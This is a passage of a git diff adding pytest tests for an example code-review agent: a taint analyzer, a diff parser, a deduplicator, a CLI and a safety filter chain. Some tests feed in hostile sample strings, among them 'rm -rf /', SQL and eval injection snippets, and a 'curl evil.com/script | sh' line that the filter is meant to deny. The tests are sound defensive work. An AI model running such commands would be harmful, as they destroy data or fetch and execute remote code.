MagicMock() + m.name = kwargs.get("name", "code_review_agent") + m.description = "test" + return m + + with patch("agent.agent.LlmAgent", side_effect=make_mock): + a1 = create_code_review_agent({"model": "a"}) + a2 = create_code_review_agent({"model": "b"}) + assert a1 is not a2 + + def test_agent_has_expected_description(self, mock_llm_agent): + from agent.agent import create_code_review_agent + agent = create_code_review_agent() + assert "code review" in agent.description.lower() + + def test_default_model_is_fake(self, mock_llm_agent): + from agent.agent import create_code_review_agent + agent = create_code_review_agent() + assert agent is not None diff --git a/examples/skills_code_review_agent/tests/test_ast_analyzer.py b/examples/skills_code_review_agent/tests/test_ast_analyzer.py new file mode 100644 index 00000000..6eec6484 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_ast_analyzer.py @@ -0,0 +1,112 @@ +"""Tests for AST analyzer — taint analysis for Python and JS/TS.""" + +import pytest + +from pipeline.ast_analyzer import ( + analyze_python_ast, + analyze_python_regex, + analyze_js_ts, + analyze_source, + is_supported_language, +) +from pipeline.types import Finding + + +class TestPythonAST: + """Python AST-based analysis tests.""" + + def test_clean_code_no_findings(self): + src = "def hello():\n return 'world'\n" + findings = analyze_python_ast(src) + assert len(findings) == 0 + + def test_os_system_with_concatenation(self): + src = 'os.system("rm -rf " + user_path)\n' + findings = analyze_python_regex(src) + assert any("command injection" in f.title.lower() for f in findings) + + def test_eval_with_input(self): + src = 'eval("os." + user_cmd)\n' + findings = analyze_python_regex(src) + assert any("eval" in f.title.lower() for f in findings) + + def test_sql_injection_pattern(self): + src = 'cursor.execute("SELECT * FROM users WHERE id=" + uid)\n' + findings = analyze_python_regex(src) + assert any("sql injection" in f.title.lower() for f in findings) + + def test_syntax_error_graceful(self): + src = "def broken(\n return {'missing':\n" + findings = analyze_python_ast(src) + assert len(findings) == 0 # Graceful fallback + + def test_empty_source(self): + findings = analyze_python_ast("") + assert findings == [] + + def test_safe_code_no_taint(self): + src = "def add(a, b):\n return a + b\nresult = add(1, 2)\n" + findings = analyze_python_regex(src) + assert len(findings) == 0 + + +class TestJSTSAnalysis: + """JavaScript/TypeScript regex analysis tests.""" + + def test_js_eval_detection(self): + src = 'eval("console.log(" + user_input + ")")' + findings = analyze_js_ts(src) + assert any("eval" in f.title.lower() for f in findings) + + def test_js_inner_html_xss(self): + src = "document.getElementById('app').innerHTML = userInput;\n" + findings = analyze_js_ts(src) + assert any("innerhtml" in f.title.lower() for f in findings) + + def test_clean_js_no_findings(self): + src = "const sum = (a, b) => a + b;\nconsole.log(sum(1, 2));\n" + findings = analyze_js_ts(src) + assert len(findings) == 0 + + def test_typescript_sql_injection(self): + src = 'db.query("DELETE FROM users WHERE id=" + req.params.id)' + findings = analyze_js_ts(src) + assert any("sql injection" in f.title.lower() for f in findings) + + +class TestLanguageDetection: + """Language detection tests.""" + + def test_py_extension(self): + assert is_supported_language("main.py") is True + + def test_js_extension(self): + assert is_supported_language("app.js") is True + + def test_ts_extension(self): + assert is_supported_language("lib.ts") is True + + def test_unsupported_extension(self): + assert is_supported_language("main.cpp") is False + + def test_no_extension(self): + assert is_supported_language("Makefile") is False + + +class TestUnifiedAPI: + """Unified analyze_source() tests.""" + + def test_python_source_routing(self): + src = "import os\nos.system('rm -rf ' + path)\n" + findings = analyze_source(src, "app.py") + assert len(findings) > 0 + + def test_js_source_routing(self): + src = 'eval("dangerous_" + input_var);\n' + findings = analyze_source(src, "app.js") + assert len(findings) > 0 + + def test_unsupported_language_no_error(self): + src = "int main() { return 0; }\n" + findings = analyze_source(src, "main.cpp") + assert findings == [] diff --git a/examples/skills_code_review_agent/tests/test_cli.py b/examples/skills_code_review_agent/tests/test_cli.py new file mode 100644 index 00000000..5bfa32ec --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_cli.py @@ -0,0 +1,147 @@ +"""Tests for CLI entry point — run_review.py main() integration. + +Tests the CLI argument parsing and main() execution paths. +""" + +import os +import sys +import subprocess + +import pytest + + +def _run_review_cli(*args) -> subprocess.CompletedProcess: + """Run the review CLI and return the completed process.""" + script = os.path.join( + os.path.dirname(__file__), "..", "run_review.py" + ) + return subprocess.run( + [sys.executable, script, *args], + capture_output=True, + text=True, + timeout=30, + ) + + +class TestCLIBasic: + """Basic CLI argument tests.""" + + def test_help_output(self): + result = _run_review_cli("--help") + assert result.returncode == 0 + assert "Code Review" in result.stdout + + def test_no_args_error(self): + result = _run_review_cli() + assert result.returncode != 0 + + def test_nonexistent_diff_file(self): + result = _run_review_cli("--diff-file", "nonexistent.diff") + assert result.returncode != 0 + + def test_fixture_security(self): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "security.diff" + ) + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", os.path.join(os.path.dirname(__file__), ".."), + "--dry-run", + ) + assert result.returncode == 0 + + def test_fixture_clean(self): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "clean.diff" + ) + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", os.path.join(os.path.dirname(__file__), ".."), + "--dry-run", + ) + # Clean diff may have no changes + assert result.returncode in (0, 1) + + +class TestCLIOutputFiles: + """Test that CLI produces expected output files.""" + + def test_generates_json_report(self, tmp_path): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "security.diff" + ) + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", str(tmp_path), + "--db-path", str(tmp_path / "test.db"), + "--dry-run", + ) + assert result.returncode == 0 + assert (tmp_path / "review_report.json").exists() + + def test_generates_md_report(self, tmp_path): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "security.diff" + ) + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", str(tmp_path), + "--db-path", str(tmp_path / "test.db"), + "--dry-run", + ) + assert result.returncode == 0 + assert (tmp_path / "review_report.md").exists() + + def test_db_created(self, tmp_path): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "security.diff" + ) + db_path = tmp_path / "review.db" + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", str(tmp_path), + "--db-path", str(db_path), + "--dry-run", + ) + assert result.returncode == 0 + assert db_path.exists() + + +class TestCLIVerbose: + """Tests for verbose output mode.""" + + def test_verbose_flag_accepted(self): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", "clean.diff" + ) + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", os.path.join(os.path.dirname(__file__), ".."), + "--verbose", + "--dry-run", + ) + # Should work without crashing + assert result.returncode in (0, 1) + + +class TestCLIAllFixtures: + """Test CLI against all 8 fixture diffs.""" + + FIXTURES = [ + "clean", "security", "async_resource_leak", "db_lifecycle", + "missing_tests", "duplicate_finding", "sandbox_failure", "secret_redaction", + ] + + @pytest.mark.parametrize("fixture_name", FIXTURES) + def test_fixture_runs(self, fixture_name, tmp_path): + fixture = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs", f"{fixture_name}.diff" + ) + db_path = tmp_path / f"{fixture_name}.db" + result = _run_review_cli( + "--diff-file", fixture, + "--output-dir", str(tmp_path), + "--db-path", str(db_path), + "--dry-run", + ) + assert result.returncode in (0, 1) diff --git a/examples/skills_code_review_agent/tests/test_dedup.py b/examples/skills_code_review_agent/tests/test_dedup.py new file mode 100644 index 00000000..22be18a1 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_dedup.py @@ -0,0 +1,94 @@ +"""Tests for dedup module.""" + +from pipeline.dedup import deduplicate, separate_low_confidence +from pipeline.types import Finding, FindingCategory, Severity + + +def _make_finding(file="test.py", line=1, category=FindingCategory.SECURITY, + title="Test finding", confidence=0.9): + return Finding( + severity=Severity.HIGH, + category=category, + file=file, + line=line, + title=title, + evidence="some code", + recommendation="fix it", + confidence=confidence, + source="test", + ) + + +class TestDeduplicate: + """Finding deduplication tests.""" + + def test_no_duplicates(self): + f1 = _make_finding(title="issue A", line=1) + f2 = _make_finding(title="issue B", line=2) + result = deduplicate([f1, f2]) + assert len(result) == 2 + + def test_duplicates_removed(self): + f1 = _make_finding(title="same issue", line=1) + f2 = _make_finding(title="same issue", line=1) + result = deduplicate([f1, f2]) + assert len(result) == 1 + + def test_duplicate_keeps_higher_confidence(self): + f1 = _make_finding(title="same issue", line=1, confidence=0.5) + f2 = _make_finding(title="same issue", line=1, confidence=0.9) + result = deduplicate([f1, f2]) + assert result[0].confidence == 0.9 + + def test_different_files_not_duplicates(self): + f1 = _make_finding(file="a.py", title="same", line=1) + f2 = _make_finding(file="b.py", title="same", line=1) + result = deduplicate([f1, f2]) + assert len(result) == 2 + + def test_different_categories_not_duplicates(self): + f1 = _make_finding(category=FindingCategory.SECURITY, title="same", line=1) + f2 = _make_finding(category=FindingCategory.RESOURCE_LEAK, title="same", line=1) + result = deduplicate([f1, f2]) + assert len(result) == 2 + + def test_sorted_by_severity(self): + f1 = _make_finding(title="low issue", line=1) + f1.severity = Severity.LOW + f2 = _make_finding(title="critical issue", line=2) + f2.severity = Severity.CRITICAL + result = deduplicate([f1, f2]) + assert result[0].severity == Severity.CRITICAL + assert result[1].severity == Severity.LOW + + def test_empty_list(self): + result = deduplicate([]) + assert result == [] + + +class TestSeparateLowConfidence: + """Confidence-based finding separation.""" + + def test_high_confidence_separated(self): + f_high = _make_finding(confidence=0.9) + f_low = _make_finding(confidence=0.3) + high, low = separate_low_confidence([f_high, f_low], threshold=0.5) + assert len(high) == 1 + assert len(low) == 1 + + def test_all_high(self): + findings = [_make_finding(confidence=0.8), _make_finding(confidence=0.9)] + high, low = separate_low_confidence(findings, threshold=0.5) + assert len(high) == 2 + assert len(low) == 0 + + def test_all_low(self): + findings = [_make_finding(confidence=0.3), _make_finding(confidence=0.1)] + high, low = separate_low_confidence(findings, threshold=0.5) + assert len(high) == 0 + assert len(low) == 2 + + def test_boundary_inclusive(self): + f = _make_finding(confidence=0.5) + high, low = separate_low_confidence([f], threshold=0.5) + assert len(high) == 1 # >= threshold diff --git a/examples/skills_code_review_agent/tests/test_diff_parser.py b/examples/skills_code_review_agent/tests/test_diff_parser.py new file mode 100644 index 00000000..24798f53 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_diff_parser.py @@ -0,0 +1,109 @@ +"""Tests for diff_parser module.""" + +from pipeline.diff_parser import get_changed_lines, parse_diff, summarize_diff +from pipeline.types import DiffFile + + +class TestParseDiff: + """Unit tests for diff parsing.""" + + def test_standard_unified_diff(self, read_diff): + """Parse a standard unified diff with hunk headers.""" + diff_text = read_diff("security.diff") + files = parse_diff(diff_text) + assert len(files) == 1 + assert files[0].filename == "handler.py" + assert len(files[0].hunks) == 1 + assert "+++ b/handler.py" in diff_text + + def test_multi_file_diff(self): + """Parse a diff with multiple files.""" + diff = ("diff --git a/a.py b/a.py\n" + "--- a/a.py\n+++ b/a.py\n" + "@@ -1,0 +1,2 @@\n+def foo():\n+ pass\n" + "diff --git a/b.py b/b.py\n" + "--- a/b.py\n+++ b/b.py\n" + "@@ -1,0 +1,2 @@\n+def bar():\n+ pass\n") + files = parse_diff(diff) + assert len(files) == 2 + assert files[0].filename == "a.py" + assert files[1].filename == "b.py" + + def test_empty_diff(self): + """Empty diff returns empty list.""" + assert parse_diff("") == [] + assert parse_diff(" \n \n") == [] + + def test_new_file_diff(self): + """Parse a 'new file mode' diff.""" + diff = ("diff --git a/new.py b/new.py\n" + "new file mode 100644\n" + "--- /dev/null\n" + "+++ b/new.py\n" + "@@ -1,0 +1,1 @@\n+print('hello')\n") + files = parse_diff(diff) + assert len(files) == 1 + assert files[0].is_new + assert files[0].filename == "new.py" + + def test_deleted_file_diff(self): + """Parse a 'deleted file mode' diff.""" + diff = ("diff --git a/old.py b/old.py\n" + "deleted file mode 100644\n" + "--- a/old.py\n" + "+++ /dev/null\n" + "@@ -1,1 +1,0 @@\n-print('bye')\n") + files = parse_diff(diff) + assert len(files) == 1 + assert files[0].is_deleted + + def test_binary_file_diff(self): + """Binary file diffs are marked as binary.""" + diff = ("diff --git a/image.png b/image.png\n" + "Binary files a/image.png and b/image.png differ\n") + files = parse_diff(diff) + assert len(files) == 1 + assert files[0].is_binary + + def test_hunk_new_lines_tracking(self, read_diff): + """Added lines should be extracted with correct line numbers.""" + diff_text = read_diff("security.diff") + files = parse_diff(diff_text) + changed = get_changed_lines(files[0]) + # Should have several added lines + assert len(changed) > 0 + # All returned lines should have content + for lineno, line in changed: + assert lineno > 0 + assert isinstance(line, str) + + def test_unicode_diff(self): + """Handle Unicode in file paths and content.""" + diff = ('diff --git "a/测试.py" "b/测试.py"\n' + '--- "a/测试.py"\n+++ "b/测试.py"\n' + '@@ -1,0 +1,1 @@\n+print("你好世界")\n') + files = parse_diff(diff) + assert len(files) == 1 + assert "测试.py" in files[0].filename + + +class TestSummarizeDiff: + """Unit tests for diff summarization.""" + + def test_empty(self): + assert "No changes" in summarize_diff([]) + + def test_single_file(self, read_diff): + files = parse_diff(read_diff("security.diff")) + summary = summarize_diff(files) + assert "1 file" in summary + assert "handler.py" in summary + + def test_multi_files(self): + files = [ + DiffFile(filename="a.py"), + DiffFile(filename="b.py"), + DiffFile(filename="c.py"), + ] + summary = summarize_diff(files) + assert "3 file" in summary diff --git a/examples/skills_code_review_agent/tests/test_edge_cases.py b/examples/skills_code_review_agent/tests/test_edge_cases.py new file mode 100644 index 00000000..0df38370 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_edge_cases.py @@ -0,0 +1,233 @@ +"""Edge case and boundary tests for the code review pipeline. + +Covers: empty diffs, single-line changes, Unicode/emoji, oversized inputs, +malformed data, and other extreme scenarios. +""" + +import os +import json +import tempfile +import pytest + +from pipeline.diff_parser import parse_diff, summarize_diff +from pipeline.scanners import run_scanners +from pipeline.dedup import deduplicate, confidence_tier, separate_by_tiers +from pipeline.redaction import redact, redact_finding_evidence +from pipeline.types import DiffFile, DiffHunk, Finding, FindingCategory, Severity +from pipeline.config import load_config + + +class TestEmptyAndMinimal: + """Empty and minimal input handling.""" + + def test_empty_diff_parses(self): + files = parse_diff("") + assert files == [] + + def test_whitespace_only_diff(self): + files = parse_diff(" \n \n ") + assert files == [] + + def test_single_line_diff(self): + diff_text = """diff --git a/test.py b/test.py +--- a/test.py ++++ b/test.py +@@ -0,0 +1 @@ ++import os""" + files = parse_diff(diff_text) + assert len(files) == 1 + assert files[0].filename == "test.py" + + def test_single_character_change(self): + diff_text = """diff --git a/x.py b/x.py +--- a/x.py ++++ b/x.py +@@ -1 +1 @@ +-x ++y""" + files = parse_diff(diff_text) + assert len(files) == 1 + + def test_empty_findings_dedup(self): + result = deduplicate([]) + assert result == [] + + def test_single_finding_tiers(self): + f = Finding( + severity=Severity.MEDIUM, + category=FindingCategory.SECURITY, + file="test.py", line=1, + title="Test", evidence="test", + recommendation="test", confidence=0.9, + source="test", + ) + tiers = separate_by_tiers([f]) + assert len(tiers["high"]) == 1 + assert len(tiers["warning"]) == 0 + assert len(tiers["needs_human_review"]) == 0 + + +class TestUnicodeAndEncoding: + """Unicode, emoji, and multi-language input.""" + + def test_unicode_diff_parses(self): + diff_text = """diff --git a/测试.py b/测试.py +--- a/测试.py ++++ b/测试.py +@@ -1 +1 @@ +-旧代码 ++新代码 🎉""" + files = parse_diff(diff_text) + assert len(files) == 1 + assert "测试.py" in files[0].filename + + def test_emoji_in_code_line(self): + diff_text = """diff --git a/emoji.py b/emoji.py +--- a/emoji.py ++++ b/emoji.py +@@ -1,0 +1 @@ ++print("🎉🚀✅❌⚠️")""" + files = parse_diff(diff_text) + assert len(files) >= 1 + + def test_japanese_code(self): + diff_text = """diff --git a/main.py b/main.py +--- a/main.py ++++ b/main.py +@@ -1,0 +1 @@ ++# これはテストです (This is a test)""" + files = parse_diff(diff_text) + assert len(files) >= 1 + + def test_korean_code(self): + diff_text = """diff --git a/app.py b/app.py +--- a/app.py ++++ b/app.py +@@ -1,0 +1 @@ ++# 테스트 코드입니다""" + files = parse_diff(diff_text) + assert len(files) >= 1 + + def test_mixed_language_diff(self): + diff_text = """diff --git a/mixed.py b/mixed.py +--- a/mixed.py ++++ b/mixed.py +@@ -1,3 +1,3 @@ +-print("Hello") +-print("你好") ++print("こんにちは") ++print("안녕하세요")""" + files = parse_diff(diff_text) + assert len(files) >= 1 + + +class TestLargeInputs: + """Large and oversized input handling.""" + + def test_very_long_file_name(self): + long_name = "a" * 500 + ".py" + diff_text = f"""diff --git a/{long_name} b/{long_name} +--- a/{long_name} ++++ b/{long_name} +@@ -1,0 +1 @@ ++print("test")""" + files = parse_diff(diff_text) + assert len(files) == 1 + + def test_many_files_in_diff(self): + """Diff with 20 files.""" + parts = [] + for i in range(20): + parts.append(f"""diff --git a/file_{i}.py b/file_{i}.py +--- a/file_{i}.py ++++ b/file_{i}.py +@@ -1,0 +1 @@ ++x = {i}""") + diff_text = "\n".join(parts) + files = parse_diff(diff_text) + assert len(files) == 20 + + def test_deep_hunk(self): + """Diff with 50 lines in a single hunk.""" + added = "\n".join(f"+line {i}" for i in range(50)) + diff_text = f"""diff --git a/big.py b/big.py +--- a/big.py ++++ b/big.py +@@ -1,0 +1,50 @@ +{added}""" + files = parse_diff(diff_text) + assert len(files) == 1 + assert len(files[0].hunks) == 1 + + +class TestMalformedInputs: + """Malformed or invalid inputs that should not crash.""" + + def test_gibberish_diff_text(self): + files = parse_diff("NOT A DIFF AT ALL\nJust random text\n") + assert files == [] # No crash, just empty + + def test_partial_diff_header(self): + diff_text = "diff --git a/x.py b/y.py\n+just a line\n-no header" + files = parse_diff(diff_text) + # Should not crash + assert isinstance(files, list) + + def test_hunk_with_no_content(self): + diff_text = """diff --git a/x.py b/x.py +--- a/x.py ++++ b/x.py +@@ -1,0 +1,0 @@""" + files = parse_diff(diff_text) + assert len(files) == 1 + + def test_null_bytes_in_diff(self): + diff_text = "diff --git a/x.py b/x.py\n\0unexpected null\0\n" + files = parse_diff(diff_text) + assert isinstance(files, list) + + def test_really_long_line(self): + long_line = "+" + "x" * 10000 + diff_text = f"""diff --git a/long.py b/long.py +--- a/long.py ++++ b/long.py +@@ -1,0 +1 @@ +{long_line}""" + files = parse_diff(diff_text) + assert len(files) == 1 + + +class TestConfidenceEdgeCases: + """Confidence tier edge cases.""" + + def test_confidence_exactly_threshold(self): + f = Finding( + severity=Severity.LOW, category=FindingCategory.SECURITY, + file="t.py", line=1, title="T", evidence="e", + recommendation="r", confidence=0.8, source="s", + ) + assert confidence_tier(f) == "high" + + def test_confidence_just_below_high(self): + f = Finding( + severity=Severity.LOW, category=FindingCategory.SECURITY, + file="t.py", line=1, title="T", evidence="e", + recommendation="r", confidence=0.799, source="s", + ) + assert confidence_tier(f) == "warning" + + def test_confidence_zero(self): + f = Finding( + severity=Severity.LOW, category=FindingCategory.SECURITY, + file="t.py", line=1, title="T", evidence="e", + recommendation="r", confidence=0.0, source="s", + ) + assert confidence_tier(f) == "needs_human_review" + + def test_confidence_one(self): + f = Finding( + severity=Severity.LOW, category=FindingCategory.SECURITY, + file="t.py", line=1, title="T", evidence="e", + recommendation="r", confidence=1.0, source="s", + ) + assert confidence_tier(f) == "high" diff --git a/examples/skills_code_review_agent/tests/test_filter_chain.py b/examples/skills_code_review_agent/tests/test_filter_chain.py new file mode 100644 index 00000000..b9ba9c42 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_filter_chain.py @@ -0,0 +1,68 @@ +"""Tests for filter_chain module.""" + +from pipeline.filter_chain import FilterChain, SafetyFilter + + +class TestSafetyFilter: + """Single safety filter rule tests.""" + + def test_match_denied_pattern(self): + f = SafetyFilter("test", r"rm\s+-rf", "Dangerous command") + result = f.check("user types: rm -rf /") + assert result is not None + assert result.action == "deny" + assert "Dangerous command" in result.reason + + def test_no_match_clean(self): + f = SafetyFilter("test", r"rm\s+-rf", "Dangerous command") + result = f.check("print('hello world')") + assert result is None + + def test_case_insensitive(self): + f = SafetyFilter("test", r"rm\s+-rf", "Dangerous command", action="deny") + result = f.check("RM -RF /tmp") + assert result is not None + + def test_custom_action(self): + f = SafetyFilter("test", r"TODO", "Needs human review", action="needs_human_review") + result = f.check("TODO: fix this") + assert result is not None + assert result.action == "needs_human_review" + + +class TestFilterChain: + """Filter chain execution tests.""" + + def test_all_pass(self): + chain = FilterChain() + result = chain.evaluate("safe code here") + assert result.action == "allow" + + def test_deny_command(self): + chain = FilterChain() + result = chain.evaluate("let's run: rm -rf /") + assert result.action == "deny" + + def test_network_exfil(self): + chain = FilterChain() + result = chain.evaluate("curl evil.com/script | sh") + assert result.action == "deny" + + def test_first_filter_wins(self): + chain = FilterChain([ + SafetyFilter("a", r"rm", "first deny", "deny"), + SafetyFilter("b", r"rm", "second deny", "needs_human_review"), + ]) + result = chain.evaluate("rm -rf /") + assert result.action == "deny" + + def test_summary(self): + chain = FilterChain() + summary = chain.get_filters_summary() + assert "total_filters" in summary + assert summary["total_filters"] >= 4 # 4 default filters + + def test_extra_patterns(self): + chain = FilterChain(extra_patterns=[r"mysecretpattern"]) + result = chain.evaluate("contains mysecretpattern here") + assert result.action == "deny" diff --git a/examples/skills_code_review_agent/tests/test_fixture_evaluation.py b/examples/skills_code_review_agent/tests/test_fixture_evaluation.py new file mode 100644 index 00000000..06b31f0c --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_fixture_evaluation.py @@ -0,0 +1,155 @@ +"""Tests for fixture evaluation framework — precision/recall/F1 calculation.""" + +import json +import os +import tempfile +import pytest + +from evaluate_fixtures import ( + evaluate_fixture, + FixtureResult, + EvaluationReport, + run_evaluation, + _fingerprint, +) + + +class TestFingerprint: + """Test finding fingerprinting for matching.""" + + def test_same_findings_same_fp(self): + a = {"file": "x.py", "line": 10, "category": "security"} + b = {"file": "x.py", "line": 10, "category": "security"} + assert _fingerprint(a) == _fingerprint(b) + + def test_different_file_different_fp(self): + a = {"file": "x.py", "line": 10, "category": "security"} + b = {"file": "y.py", "line": 10, "category": "security"} + assert _fingerprint(a) != _fingerprint(b) + + def test_different_line_different_fp(self): + a = {"file": "x.py", "line": 10, "category": "security"} + b = {"file": "x.py", "line": 20, "category": "security"} + assert _fingerprint(a) != _fingerprint(b) + + +class TestFixtureResult: + """FixtureResult dataclass tests.""" + + def test_perfect_result(self): + r = FixtureResult( + fixture_name="test", + precision=1.0, recall=1.0, f1=1.0, + true_positives=5, false_positives=0, false_negatives=0, + total_expected=5, total_found=5, + ) + assert r.precision == 1.0 + assert r.recall == 1.0 + assert r.f1 == 1.0 + + def test_zero_expected_no_crash(self): + r = FixtureResult(fixture_name="empty") + assert r.precision == 0.0 + assert r.recall == 0.0 + assert r.f1 == 0.0 + + def test_all_false_positives(self): + r = FixtureResult( + fixture_name="fp", + precision=0.0, recall=0.0, f1=0.0, + true_positives=0, false_positives=10, false_negatives=5, + ) + assert r.precision == 0.0 + assert r.recall == 0.0 + + +class TestEvaluationReport: + """EvaluationReport aggregate tests.""" + + def test_empty_report(self): + r = EvaluationReport() + assert r.overall_f1 == 0.0 + assert r.fixtures_evaluated == 0 + + def test_single_fixture_report(self): + r = FixtureResult("a", precision=0.9, recall=0.8, f1=0.85, + true_positives=9, false_positives=1, false_negatives=2) + report = EvaluationReport( + results=[r], fixtures_evaluated=1, + overall_precision=0.9, overall_recall=0.818, overall_f1=0.857, + ) + assert report.overall_precision == 0.9 + assert abs(report.overall_recall - 0.818) < 0.01 + + +class TestEvaluateFixture: + """Integration tests for evaluate_fixture().""" + + def test_evaluate_security_fixture(self): + fixtures_dir = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs" + ) + diff_path = os.path.join(fixtures_dir, "security.diff") + result = evaluate_fixture(diff_path, []) + assert result.fixture_name == "security" + # No expected findings, just verify it doesn't crash + assert result.total_expected == 0 + + def test_evaluate_clean_fixture_no_expected(self): + fixtures_dir = os.path.join( + os.path.dirname(__file__), "..", "fixtures", "diffs" + ) + diff_path = os.path.join(fixtures_dir, "clean.diff") + result = evaluate_fixture(diff_path, []) + assert result.fixture_name == "clean" + # Clean fixture with no expected findings: precision is 1.0 if no findings found + assert result.precision >= 0.0 + + def test_evaluate_nonexistent_diff(self): + with pytest.raises(FileNotFoundError): + evaluate_fixture("nonexistent.diff", []) + + +class TestRunEvaluation: + """Test run_evaluation() end to end.""" + + def test_run_with_expected_json(self, tmp_path): + diff_content = """diff --git a/test.py b/test.py +--- a/test.py ++++ b/test.py +@@ -1,0 +1 @@ ++import os""" + fixtures_dir = tmp_path / "fixtures" + fixtures_dir.mkdir() + (fixtures_dir / "test.diff").write_text(diff_content) + + expected = {"test": []} + expected_path = tmp_path / "expected.json" + expected_path.write_text(json.dumps(expected)) + + # Run evaluation - may skip due to empty expected in non-cv mode + report = run_evaluation(str(fixtures_dir), str(expected_path)) + assert report is not None + + def test_cross_validation_does_not_crash(self, tmp_path): + # Create 4 fixture diffs + fixtures_dir = tmp_path / "fixtures" + fixtures_dir.mkdir() + for i in range(4): + (fixtures_dir / f"fixture_{i}.diff").write_text( + f"""diff --git a/f{i}.py b/f{i}.py +--- a/f{i}.py ++++ b/f{i}.py +@@ -1,0 +1 @@ ++x = {i}""" + ) + + expected = {f"fixture_{i}": [] for i in range(4)} + expected_path = tmp_path / "expected.json" + expected_path.write_text(json.dumps(expected)) + + report = run_evaluation( + str(fixtures_dir), str(expected_path), + cross_validate=True, train_split=0.5, + ) + assert report.fixtures_evaluated == 4 diff --git a/examples/skills_code_review_agent/tests/test_performance.py b/examples/skills_code_review_agent/tests/test_performance.py new file mode 100644 index 00000000..1cebea08 --- /dev/null +++ b/examples/skills_code_review_agent/tests/test_performance.py @@ -0,0 +1,219 @@ +"""Performance tests for code review pipeline. + +All thresholds are intentionally loose to accommodate CI variability. +Tests guard against regressions like infinite loops or quadratic scaling. +""" + +import json +import os +import tempfile +import time +import pytest + +from pipeline.config import load_config +from pipeline.diff_parser import parse_diff, summarize_diff +from pipeline.scanners import run_scanners, get_available_scanners +from pipeline.dedup import deduplicate, separate_by_tiers +from pipeline.types import DiffFile, DiffHunk + + +def _make_diff_files(count: int) -> str: + """Generate a diff with `count` files.""" + parts = [] + for i in range(count): + parts.append(f"""diff --git a/file_{i}.py b/file_{i}.py +--- a/file_{i}.py ++++ b/file_{i}.py +@@ -1,0 +1,2 @@ ++import os ++os.system("echo test")""") + return "\n".join(parts) + + +class TestParsePerformance: + """Diff parsing performance tests.""" + + def test_twenty_files_parse_fast(self): + diff = _make_diff_files(20) + start = time.monotonic() + files = parse_diff(diff) + elapsed = time.monotonic() - start + assert len(files) == 20 + assert elapsed < 5.0, f"20-file parse took {elapsed:.2f}s" + + def test_fifty_files_parse_scales(self): + diff_20 = _make_diff_files(20) + diff_50 = _make_diff_files(50) + + start = time.monotonic() + parse_diff(diff_20) + t20 = time.monotonic() - start + + start = time.monotonic() + parse_diff(diff_50) + t50 = time.monotonic() - start + + # 50 files should scale linearly (generous ratio) + assert t50 < max(t20 * 5.0, 0.5), ( + f"50-file ({t50:.3f}s) vs 20-file ({t20:.3f}s) ratio {t50/max(t20,0.001):.1f}x" + ) + + +class TestDedupPerformance: + """Deduplication performance tests.""" + + def test_hundred_findings_dedup_fast(self): + findings = [] + for i in range(100): + from pipeline.types import Finding, FindingCategory, Severity + findings.append(Finding( + severity=Severity.MEDIUM, + category=FindingCategory.SECURITY, + file=f"file_{i}.py", line=i, + title=f"Test finding {i}", + evidence=f"evidence {i}", + recommendation=f"fix {i}", + confidence=0.5 + (i % 50) / 100, + source="test", + )) + + start = time.monotonic() + result = deduplicate(findings) + elapsed = time.monotonic() - start + assert len(result) == 100 # All unique + assert elapsed < 1.0, f"100-finding dedup took {elapsed:.2f}s" + + def test_thousand_findings_dedup_fast(self): + from pipeline.types import Finding, FindingCategory, Severity + findings = [] + for i in range(1000): + findings.append(Finding( + severity=Severity.MEDIUM, + category=FindingCategory.SECURITY, + file=f"f_{i % 50}.py", line=i % 200, + title=f"Finding {i % 100}", + evidence="e", recommendation="r", + confidence=0.7, source="test", + )) + + start = time.monotonic() + result = deduplicate(findings) + elapsed = time.monotonic() - start + assert len(result) > 0 + assert elapsed < 3.0, f"1000-finding dedup took {elapsed:.2f}s" + + +class TestReportPerformance: + """Report generation performance.""" + + def test_json_report_fast(self): + from pipeline.report import generate_json_report + from pipeline.types import Finding, FindingCategory, ReviewReport, Severity + + findings = [] + for i in range(50): + findings.append(Finding( + severity=[Severity.CRITICAL, Severity.HIGH, Severity.MEDIUM][i % 3], + category=list(FindingCategory)[i % len(list(FindingCategory))], + file=f"file_{i}.py", line=i, + title=f"Finding {i}", + evidence=f"evidence for finding {i}", + recommendation=f"fix finding {i}", + confidence=0.7 + i * 0.003, + source=f"scanner_{i % 5}", + )) + + report = ReviewReport( + task_id="perf-test", + findings=findings, + filter_summary={"decision": "allow"}, + sandbox_summary={"total_runs": 0}, + telemetry={"total_duration_ms": 100}, + human_review_items=[], + recommendations=[], + ) + + start = time.monotonic() + json_str = generate_json_report(report) + elapsed = time.monotonic() - start + assert len(json_str) > 100 + assert elapsed < 2.0, f"JSON report with 50 findings took {elapsed:.2f}s" + + def test_md_report_fast(self): + from pipeline.report import generate_md_report + from pipeline.types import Finding, FindingCategory, ReviewReport, Severity + + findings = [] + for i in range(50): + findings.append(Finding( + severity=Severity.MEDIUM, + category=FindingCategory.SECURITY, + file=f"f_{i}.py", line=i, + title=f"F{i}", evidence="e", recommendation="r", + confidence=0.8, source="s", + )) + + report = ReviewReport( + task_id="perf-md", + findings=findings, + filter_summary={}, + sandbox_summary={}, + telemetry={}, + human_review_items=[], + recommendations=[], + ) + + start = time.monotonic() + md_str = generate_md_report(report) + elapsed = time.monotonic() - start + assert len(md_str) > 100 + assert elapsed < 2.0, f"MD report with 50 findings took {elapsed:.2f}s" + + +class TestFakeModeEndToEnd: + """Fake 